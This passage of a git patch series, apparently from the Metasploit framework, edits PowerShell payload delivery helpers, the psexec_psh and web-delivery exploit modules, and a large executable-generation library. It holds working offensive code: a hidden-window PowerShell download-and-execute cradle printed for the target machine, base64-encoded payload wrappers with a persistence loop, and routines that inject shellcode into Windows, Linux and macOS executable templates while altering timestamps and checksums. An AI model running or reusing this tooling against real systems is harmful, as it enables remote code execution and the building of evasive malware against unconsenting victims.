-    command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
+    command = "%COMSPEC% /B /C start /min powershell.exe -c #{psh_payload.gsub('"','\"')}\r\n"
   end
 
 
diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb
index 96036180a1c3..59beb856ddfe 100644
--- a/modules/exploits/windows/misc/psh_web_delivery.rb
+++ b/modules/exploits/windows/misc/psh_web_delivery.rb
@@ -58,7 +58,7 @@ def primer
 		url = get_uri()
 		download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
 		print_status("Run the following command on the target machine:")
-		print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
+		print_line("powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}")
 	end
 end
 
diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index d93dd6e3b85d..a95b93cdfb57 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -46,12 +46,6 @@ def initialize(info = {})
 					'WfsDelay'     => 10,
 					'EXITFUNC' => 'thread'
 				},
-			'Payload'        =>
-				{
-					'Space'        => 8192,
-					'DisableNops'  => true,
-					'StackAdjustment' => -3500
-				},
 			'Platform'       => 'win',
 			'Targets'        =>
 				[
@@ -70,7 +64,7 @@ def initialize(info = {})
 		))
 
 		register_options([
-			OptBool.new('DryRun',[false,'dry run',false]),
+			OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
 		], self.class)
 	end
 
@@ -82,8 +76,12 @@ def exploit
 			return
 		end
 
-		if datastore['PSH::RUN_WOW64'] and target_arch.first == "x86_64"
-			fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
+		if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
+			print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
+		end
+
+		if datastore['PSH::run_wow64'] and target_arch.first == "x86_64"
+			fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with PSH::run_wow64 enabled")
 		end
 
 		# Try and authenticate with given credentials
@@ -92,8 +90,6 @@ def exploit
 				smb_login
 			rescue StandardError => autherror
 				fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
-      ensure
-        disconnect
 			end
 			# Execute the powershell command
 			print_status("#{peer} - Executing the payload...")

From 243d3d6ebdc048994af9ac06d39c43ff01775a72 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 13 Sep 2013 19:06:37 +0100
Subject: [PATCH 012/108] Apply comments

---
 lib/msf/core/exploit/powershell.rb            | 22 ++++++++++---------
 .../exploits/windows/misc/psh_web_delivery.rb |  2 +-
 modules/exploits/windows/smb/psexec_psh.rb    | 18 ++++++---------
 3 files changed, 20 insertions(+), 22 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index ec0cd1b451b6..43bdf44edf1e 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -11,11 +11,11 @@ def initialize(info = {})
     super
     register_advanced_options(
       [
-				OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
-				OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
-        OptBool.new('PSH::RUN_WOW64', [
+        OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
+        OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]),
+        OptBool.new('PSH::run_wow64', [
           false,
-          'Execute powershell in 32bit compatibility mode, payloads need native arch',
+          'Execute powershell in 32bit compatibility mode, payloads need x86 arch',
           false
             ]),
         OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
@@ -28,12 +28,14 @@ def initialize(info = {})
   #
   # Reads script into a PshScript
   #
-  def read_script(script)
-    return PshScript.new(script)
+  def read_script(script_path)
+    return PshScript.new(script_path)
   end
 
   #
   # Insert substitutions into the powershell script
+  # If script is a path to a file then read the file
+  # otherwise treat it as the contents of a file
   #
   def make_subs(script, subs)
     if ::File.file?(script)
@@ -81,7 +83,7 @@ def compress_script(script_in, eof = nil)
   # Runs powershell in hidden window raising interactive proc msg
   #
   def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-    ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
+    ps_args = " -e #{ compress_script(ps_code) } "
 
     ps_wrapper = <<EOS
 $si = New-Object System.Diagnostics.ProcessStartInfo
@@ -100,7 +102,7 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
   #
   # Creates cmd script to execute psh payload
   #
-	def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64'])
+  def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['PSH::run_wow64'])
     # Allow powershell 1.0 format
     if old_psh
       psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@@ -108,7 +110,7 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['
       psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
     end
     # Run our payload in a while loop
-    if datastore['PSH::PERSIST']
+    if datastore['PSH::persist']
       fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
       sleep_time = rand(5)+5
       psh_payload  = "function #{fun_name}{#{psh_payload}};"
@@ -119,7 +121,7 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['
     # Wrap in hidden runtime
     psh_payload = run_hidden_psh(psh_payload,ps_bin)
     # Convert to base64 for -encodedcommand execution
-    command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
+    command = "%COMSPEC% /B /C start /min powershell.exe -c #{psh_payload}\r\n"
   end
 
 
diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb
index 96036180a1c3..59beb856ddfe 100644
--- a/modules/exploits/windows/misc/psh_web_delivery.rb
+++ b/modules/exploits/windows/misc/psh_web_delivery.rb
@@ -58,7 +58,7 @@ def primer
 		url = get_uri()
 		download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
 		print_status("Run the following command on the target machine:")
-		print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
+		print_line("powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}")
 	end
 end
 
diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index d93dd6e3b85d..a95b93cdfb57 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -46,12 +46,6 @@ def initialize(info = {})
 					'WfsDelay'     => 10,
 					'EXITFUNC' => 'thread'
 				},
-			'Payload'        =>
-				{
-					'Space'        => 8192,
-					'DisableNops'  => true,
-					'StackAdjustment' => -3500
-				},
 			'Platform'       => 'win',
 			'Targets'        =>
 				[
@@ -70,7 +64,7 @@ def initialize(info = {})
 		))
 
 		register_options([
-			OptBool.new('DryRun',[false,'dry run',false]),
+			OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
 		], self.class)
 	end
 
@@ -82,8 +76,12 @@ def exploit
 			return
 		end
 
-		if datastore['PSH::RUN_WOW64'] and target_arch.first == "x86_64"
-			fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
+		if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
+			print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
+		end
+
+		if datastore['PSH::run_wow64'] and target_arch.first == "x86_64"
+			fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with PSH::run_wow64 enabled")
 		end
 
 		# Try and authenticate with given credentials
@@ -92,8 +90,6 @@ def exploit
 				smb_login
 			rescue StandardError => autherror
 				fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
-      ensure
-        disconnect
 			end
 			# Execute the powershell command
 			print_status("#{peer} - Executing the payload...")

From aa4ad2b00587002dedc276c5d20d4a87512f2a71 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 13 Sep 2013 20:23:18 +0100
Subject: [PATCH 013/108] Change to ' and remove "

---
 lib/msf/core/exploit/powershell.rb | 26 ++++++++++++--------------
 1 file changed, 12 insertions(+), 14 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 43bdf44edf1e..09261f62b775 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -45,10 +45,7 @@ def make_subs(script, subs)
     subs.each do |set|
       script.gsub!(set[0],set[1])
     end
-    # if datastore['VERBOSE']
-    #   print_good("Final Script: ")
-    #   script.each_line {|l| print_status("\t#{l}")}
-    # end
+
     return script
   end
 
@@ -83,17 +80,17 @@ def compress_script(script_in, eof = nil)
   # Runs powershell in hidden window raising interactive proc msg
   #
   def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-    ps_args = " -e #{ compress_script(ps_code) } "
+    ps_args = "-e #{ compress_script(ps_code) }"
 
     ps_wrapper = <<EOS
-$si = New-Object System.Diagnostics.ProcessStartInfo
-$si.FileName = "#{ps_bin}"
-$si.Arguments = '#{ps_args}'
-$si.UseShellExecute = $false
-$si.RedirectStandardOutput = $true
-$si.WindowStyle = 'Hidden'
-$si.CreateNoWindow = $True
-$p = [System.Diagnostics.Process]::Start($si)
+$si=New-Object System.Diagnostics.ProcessStartInfo
+$si.FileName=#{ps_bin}
+$si.Arguments='#{ps_args}'
+$si.UseShellExecute=$false
+$si.RedirectStandardOutput=$true
+$si.WindowStyle='Hidden'
+$si.CreateNoWindow=$true
+$p=[System.Diagnostics.Process]::Start($si)
 EOS
 
     return ps_wrapper.gsub("\n",';')
@@ -113,11 +110,12 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['
     if datastore['PSH::persist']
       fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
       sleep_time = rand(5)+5
+      vprint_status("Sleep time set to #{sleep_time} seconds")
       psh_payload  = "function #{fun_name}{#{psh_payload}};"
       psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
     end
     # Determine appropriate architecture, manual method reduces script size
-		ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
+		ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
     # Wrap in hidden runtime
     psh_payload = run_hidden_psh(psh_payload,ps_bin)
     # Convert to base64 for -encodedcommand execution

From 5a5b67b393f46b10afda2bc6aec8839f5c8fa3d9 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 13 Sep 2013 21:01:04 +0100
Subject: [PATCH 014/108] Get lastest exe

---
 lib/msf/util/exe.rb | 1961 ++++++++++++++++++++++++++++++++++++-------
 1 file changed, 1650 insertions(+), 311 deletions(-)
 mode change 100644 => 100755 lib/msf/util/exe.rb

diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
old mode 100644
new mode 100755
index 45d845842052..457806732a12
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -1,323 +1,1662 @@
-###
-#
-# framework-util-exe
-# --------------
+# -*- coding: binary -*-
+
+module Msf
+module Util
+
 #
-# The class provides methods for creating and encoding executable file 
+# The class provides methods for creating and encoding executable file
 # formats for various platforms. It is a replacement for the previous
 # code in Rex::Text
 #
-###
-
-module Msf
-module Util
 class EXE
 
+require 'rex'
+require 'rex/peparsey'
+require 'rex/pescan'
+require 'rex/zip'
+require 'metasm'
+require 'digest/sha1'
+require 'msf/core/exe/segment_injector'
+
+  ##
+  #
+  # Helper functions common to multiple generators
+  #
+  ##
+
+  def self.set_template_default(opts, exe = nil, path = nil)
+    # If no path specified, use the default one.
+    path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
+
+    # If there's no default name, we must blow it up.
+    if not exe
+      raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!'
+    end
+
+    # Use defaults only if nothing is specified
+    opts[:template_path] ||= path
+    opts[:template] ||= exe
+
+    # Only use the path when the filename contains no separators.
+    if not opts[:template].include?(File::SEPARATOR)
+      opts[:template] = File.join(opts[:template_path], opts[:template])
+    end
+
+    # Check if it exists now
+    return if File.file?(opts[:template])
+
+    # If it failed, try the default...
+    if opts[:fallback]
+      default_template = File.join(path, exe)
+      if File.file?(default_template)
+        # Perhaps we should warn about falling back to the default?
+        opts.merge!({ :fellback => default_template })
+        opts[:template] = default_template
+      end
+    end
+  end
+
+  def self.read_replace_script_template(filename, hash_sub)
+    template_pathname = File.join(Msf::Config.install_root, "data", "templates", "scripts", filename)
+
+    template = ''
+    File.open(template_pathname, "rb") do |f|
+      template = f.read
+    end
+
+    return template % hash_sub
+  end
+
+
+  ##
+  #
+  # Executable generators
+  #
+  ##
+
+  def self.to_executable(framework, arch, plat, code='', opts={})
+    if (arch.index(ARCH_X86))
+
+      if (plat.index(Msf::Module::Platform::Windows))
+        return to_win32pe(framework, code, opts)
+      end
+
+      if (plat.index(Msf::Module::Platform::Linux))
+        return to_linux_x86_elf(framework, code)
+      end
+
+      if(plat.index(Msf::Module::Platform::OSX))
+        return to_osx_x86_macho(framework, code)
+      end
+
+      if(plat.index(Msf::Module::Platform::BSD))
+        return to_bsd_x86_elf(framework, code)
+      end
+
+      if(plat.index(Msf::Module::Platform::Solaris))
+        return to_solaris_x86_elf(framework, code)
+      end
+
+      # XXX: Add remaining x86 systems here
+    end
+
+    if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
+      if (plat.index(Msf::Module::Platform::Windows))
+        return to_win64pe(framework, code, opts)
+      end
+
+      if (plat.index(Msf::Module::Platform::Linux))
+        return to_linux_x64_elf(framework, code, opts)
+      end
+
+      if (plat.index(Msf::Module::Platform::OSX))
+        return to_osx_x64_macho(framework, code)
+      end
+    end
+
+    if(arch.index(ARCH_ARMLE))
+      if(plat.index(Msf::Module::Platform::OSX))
+        return to_osx_arm_macho(framework, code)
+      end
+
+      if(plat.index(Msf::Module::Platform::Linux))
+        return to_linux_armle_elf(framework, code)
+      end
+
+      # XXX: Add remaining ARMLE systems here
+    end
+
+    if(arch.index(ARCH_PPC))
+      if(plat.index(Msf::Module::Platform::OSX))
+        return to_osx_ppc_macho(framework, code)
+      end
+      # XXX: Add PPC OS X and Linux here
+    end
+
+    if(arch.index(ARCH_MIPSLE))
+      if(plat.index(Msf::Module::Platform::Linux))
+        return to_linux_mipsle_elf(framework, code)
+      end
+      # XXX: Add remaining MIPSLE systems here
+    end
+
+    if(arch.index(ARCH_MIPSBE))
+      if(plat.index(Msf::Module::Platform::Linux))
+        return to_linux_mipsbe_elf(framework, code)
+      end
+      # XXX: Add remaining MIPSLE systems here
+    end
+    nil
+  end
+
+  def self.to_win32pe(framework, code, opts={})
+
+    # For backward compatability, this is roughly equivalent to 'exe-small' fmt
+    if opts[:sub_method]
+      if opts[:inject]
+        raise RuntimeError, 'NOTE: using the substitution method means no inject support'
+      end
+
+      # use
+      return self.to_win32pe_exe_sub(framework, code, opts)
+    end
+
+    # Allow the user to specify their own EXE template
+    set_template_default(opts, "template_x86_windows.exe")
+
+    # Copy the code to a new RWX segment to allow for self-modifying encoders
+    payload = win32_rwx_exec(code)
+
+    # Create a new PE object and run through sanity checks
+    endjunk = true
+    fsize = File.size(opts[:template])
+    pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
+    text = nil
+    sections_end = 0
+    pe.sections.each do |sec|
+      text = sec if sec.name == ".text"
+      sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end
+      endjunk = false if sec.contains_file_offset?(fsize-1)
+    end
+    #also check to see if there is a certificate
+    cert_entry = pe.hdr.opt['DataDirectory'][4]
+    #if the cert is the only thing past the sections, we can handle.
+    if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress']
+      endjunk = false
+    end
+
+    #try to inject code into executable by adding a section without affecting executable behavior
+    if(opts[:inject])
+      injector = Msf::Exe::SegmentInjector.new({
+          :payload  => code,
+          :template => opts[:template],
+          :arch     => :x86
+      })
+      exe = injector.generate_pe
+      return exe
+    end
+
+    if(not text)
+      raise RuntimeError, "No .text section found in the template"
+    end
+
+    if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
+      raise RuntimeError, "The .text section does not contain an entry point"
+    end
+
+    p_length = payload.length + 256
+    if(text.size < p_length)
+      fname = ::File.basename(opts[:template])
+      msg  = "The .text section for '#{fname}' is too small. "
+      msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes"
+      raise RuntimeError, msg
+    end
+
+    # Store some useful offsets
+    off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
+    off_beg = pe.rva_to_file_offset(text.base_rva)
+
+    # We need to make sure our injected code doesn't conflict with the
+    # the data directories stored in .text (import, export, etc)
+    mines = []
+    pe.hdr.opt['DataDirectory'].each do |dir|
+      next if dir.v['Size'] == 0
+      next if not text.contains_rva?( dir.v['VirtualAddress'] )
+      mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]
+    end
+
+    # Break the text segment into contiguous blocks
+    blocks = []
+    bidx   = 0
+    mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
+      bbeg = bidx
+      bend = mine[0]
+      if(bbeg != bend)
+        blocks << [bidx, bend-bidx]
+      end
+      bidx = mine[0] + mine[1]
+    end
+
+    # Add the ending block
+    if(bidx < text.size - 1)
+      blocks << [bidx, text.size - bidx]
+    end
+
+    # Find the largest contiguous block
+    blocks.sort!{|a,b| b[1]<=>a[1]}
+    block = blocks[0]
+
+    # TODO: Allow the entry point in a different block
+    if(payload.length + 256 > block[1])
+      raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
+    end
+
+    # Make a copy of the entire .text section
+    data = text.read(0,text.size)
+
+    # Pick a random offset to store the payload
+    poff = rand(block[1] - payload.length - 256)
+
+    # Flip a coin to determine if EP is before or after
+    eloc = rand(2)
+    eidx = nil
+
+    # Pad the entry point with random nops
+    entry = generate_nops(framework, [ARCH_X86], rand(200)+51)
+
+    # Pick an offset to store the new entry point
+    if(eloc == 0) # place the entry point before the payload
+      poff += 256
+      eidx = rand(poff-(entry.length + 5))
+    else          # place the entry pointer after the payload
+      poff -= 256
+      eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
+    end
+
+    # Relative jump from the end of the nops to the payload
+    entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
+
+    # Mangle 25% of the original executable
+    1.upto(block[1] / 4) do
+      data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
+    end
+
+    # Patch the payload and the new entry point into the .text
+    data[block[0] + poff, payload.length] = payload
+    data[block[0] + eidx, entry.length]   = entry
+
+    # Create the modified version of the input executable
+    exe = ''
+    File.open(opts[:template], 'rb') { |fd|
+      exe = fd.read(fd.stat.size)
+    }
+
+    exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V")
+    exe[off_beg, data.length] = data
+
+    tds = pe.hdr.file.TimeDateStamp
+    exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
+
+    cks = pe.hdr.opt.CheckSum
+    if(cks != 0)
+      exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
+    end
+
+    pe.close
+
+    exe
+  end
+
+  def self.to_winpe_only(framework, code, opts={}, arch="x86")
+
+    if arch == ARCH_X86_64
+      arch = ARCH_X64
+    end
+
+    # Allow the user to specify their own EXE template
+    set_template_default(opts, "template_"+arch+"_windows.exe")
+
+    pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
+
+    exe = ''
+      File.open(opts[:template], 'rb') { |fd|
+        exe = fd.read(fd.stat.size)
+      }
+
+    sections_header = []
+    pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }
+
+
+    #look for section with entry point
+    sections_header.each do |sec|
+      virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
+      sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
+      characteristics = sec[1][0x24,0x4].unpack('L')[0]
+      if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
+        #put this section writable
+        characteristics|=0x80000000
+        newcharacteristics = [characteristics].pack('L')
+        exe[sec[0],newcharacteristics.length]=newcharacteristics
+      end
+    end
+
+    #put the shellcode at the entry point, overwriting template
+    exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code
+
+    return exe
+  end
+
+  def self.to_win32pe_old(framework, code, opts={})
+
+    payload = code.dup
+    # Allow the user to specify their own EXE template
+    set_template_default(opts, "template_x86_windows_old.exe")
+
+    pe = ''
+    File.open(opts[:template], "rb") { |fd|
+      pe = fd.read(fd.stat.size)
+    }
+
+    if(payload.length <= 2048)
+      payload << Rex::Text.rand_text(2048-payload.length)
+    else
+      raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
+    end
+
+    bo = pe.index('PAYLOAD:')
+    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo
+    pe[bo, payload.length] = payload
+
+    pe[136, 4] = [rand(0x100000000)].pack('V')
+
+    ci = pe.index("\x31\xc9" * 160)
+    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" if not ci
+    cd = pe.index("\x31\xc9" * 160, ci + 320)
+    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" if not cd
+    rc = pe[ci+320, cd-ci-320]
+
+    # 640 + rc.length bytes of room to store an encoded rc at offset ci
+    enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
+    lft = 640+rc.length - enc.length
+
+    buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
+    pe[ci, buf.length] = buf
+
+    # Make the data section executable
+    xi = pe.index([0xc0300040].pack('V'))
+    pe[xi,4] = [0xe0300020].pack('V')
+
+    # Add a couple random bytes for fun
+    pe << Rex::Text.rand_text(rand(64)+4)
+
+    return pe
+  end
+
+  def self.exe_sub_method(code,opts ={})
+
+    pe = ''
+    File.open(opts[:template], "rb") { |fd|
+      pe = fd.read(fd.stat.size)
+    }
+
+    case opts[:exe_type]
+      when :service_exe
+        max_length = 8192
+        name = opts[:servicename]
+
+        if name
+          bo = pe.index('SERVICENAME')
+          raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
+          pe[bo, 11] = [name].pack('a11')
+        end
+
+        if not opts[:sub_method]
+          pe[136, 4] = [rand(0x100000000)].pack('V')
+        end
+      when :dll
+        max_length = 2048
+      when :exe_sub
+        max_length = 4096
+    end
+
+    bo = pe.index('PAYLOAD:')
+    raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
+
+    if (code.length <= max_length)
+      pe[bo, code.length] = [code].pack("a*")
+    else
+      raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
+    end
+
+    if opts[:exe_type] == :dll
+      mt = pe.index('MUTEX!!!')
+      pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
+    end
+
+    return pe
+  end
+
+  def self.to_win32pe_exe_sub(framework, code, opts={})
+    # Allow the user to specify their own DLL template
+    set_template_default(opts, "template_x86_windows.exe")
+    opts[:exe_type] = :exe_sub
+    exe_sub_method(code,opts)
+  end
+
+  def self.to_win64pe(framework, code, opts={})
+    # Allow the user to specify their own EXE template
+    set_template_default(opts, "template_x64_windows.exe")
+    #try to inject code into executable by adding a section without affecting executable behavior
+    if(opts[:inject])
+      injector = Msf::Exe::SegmentInjector.new({
+         :payload  => code,
+         :template => opts[:template],
+         :arch     => :x64
+      })
+      exe = injector.generate_pe
+      return exe
+    end
+    opts[:exe_type] = :exe_sub
+    exe_sub_method(code,opts)
+  end
+
+  def self.to_win32pe_service(framework, code, opts={})
+    # Allow the user to specify their own service EXE template
+    set_template_default(opts, "template_x86_windows_svc.exe")
+    opts[:exe_type] = :service_exe
+    exe_sub_method(code,opts)
+  end
+
+  def self.to_win64pe_service(framework, code, opts={})
+    # Allow the user to specify their own service EXE template
+    set_template_default(opts, "template_x64_windows_svc.exe")
+    opts[:exe_type] = :service_exe
+    exe_sub_method(code,opts)
+  end
+
+  def self.to_win32pe_dll(framework, code, opts={})
+    # Allow the user to specify their own DLL template
+    set_template_default(opts, "template_x86_windows.dll")
+    opts[:exe_type] = :dll
+    exe_sub_method(code,opts)
+  end
+
+  def self.to_win64pe_dll(framework, code, opts={})
+    # Allow the user to specify their own DLL template
+    set_template_default(opts, "template_x64_windows.dll")
+    opts[:exe_type] = :dll
+    exe_sub_method(code,opts)
+  end
+
+  def self.to_osx_arm_macho(framework, code, opts={})
+
+    # Allow the user to specify their own template
+    set_template_default(opts, "template_armle_darwin.bin")
+
+    mo = ''
+    File.open(opts[:template], "rb") { |fd|
+      mo = fd.read(fd.stat.size)
+    }
+
+    bo = mo.index('PAYLOAD:')
+    raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo
+    mo[bo, code.length] = code
+
+    return mo
+  end
+
+  def self.to_osx_ppc_macho(framework, code, opts={})
+
+    # Allow the user to specify their own template
+    set_template_default(opts, "template_ppc_darwin.bin")
+
+    mo = ''
+    File.open(opts[:template], "rb") { |fd|
+      mo = fd.read(fd.stat.size)
+    }
+
+    bo = mo.index('PAYLOAD:')
+    raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo
+    mo[bo, code.length] = code
+
+    return mo
+  end
+
+  def self.to_osx_x86_macho(framework, code, opts={})
+
+    # Allow the user to specify their own template
+    set_template_default(opts, "template_x86_darwin.bin")
+
+    mo = ''
+    File.open(opts[:template], "rb") { |fd|
+      mo = fd.read(fd.stat.size)
+    }
+
+    bo = mo.index('PAYLOAD:')
+    raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo
+    mo[bo, code.length] = code
+
+    return mo
+  end
+
+  def self.to_osx_x64_macho(framework, code, opts={})
+    set_template_default(opts, "template_x64_darwin.bin")
+
+    macho = ''
+
+    File.open(opts[:template], 'rb') { |fd|
+      macho = fd.read(fd.stat.size)
+    }
+
+    bin = macho.index('PAYLOAD:')
+    raise RuntimeError, "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag" if not bin
+    macho[bin, code.length] = code
+
+    return macho
+  end
+
+  # Create an ELF executable containing the payload provided in +code+
+  #
+  # For the default template, this method just appends the payload, checks if
+  # the template is 32 or 64 bit and adjusts the offsets accordingly
+  # For user-provided templates, modifies the header to mark all executable
+  # segments as writable and overwrites the entrypoint (usually _start) with
+  # the payload.
+  #
+  def self.to_exe_elf(framework, opts, template, code, big_endian=false)
+
+    # Allow the user to specify their own template
+    set_template_default(opts, template)
+
+    # The old way to do it is like other formats, just overwrite a big
+    # block of rwx mem with our shellcode.
+    #bo = elf.index( "\x90\x90\x90\x90" * 1024 )
+    #co = elf.index( " " * 512 )
+    #elf[bo, 2048] = [code].pack('a2048') if bo
+
+    # The new template is just an ELF header with its entry point set to
+    # the end of the file, so just append shellcode to it and fixup
+    # p_filesz and p_memsz in the header for a working ELF executable.
+    elf = ''
+    File.open(opts[:template], "rb") { |fd|
+      elf = fd.read(fd.stat.size)
+    }
+
+    elf << code
+
+    # Check EI_CLASS to determine if the header is 32 or 64 bit
+    # Use the proper offsets and pack size
+    case elf[4]
+    when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
+      if big_endian
+        elf[0x44,4] = [elf.length].pack('N') #p_filesz
+        elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
+      else # little endian
+        elf[0x44,4] = [elf.length].pack('V') #p_filesz
+        elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
+      end
+    when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
+      if big_endian
+        elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
+        elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
+      else # little endian
+        elf[0x60,8] = [elf.length].pack('Q') #p_filesz
+        elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
+      end
+    else
+      raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
+    end
+
+    return elf
+  end
+
+  # Create a 32-bit Linux ELF containing the payload provided in +code+
+  def self.to_linux_x86_elf(framework, code, opts={})
+    unless opts[:template]
+      default = true
+    end
+
+    if default
+      elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
+    else
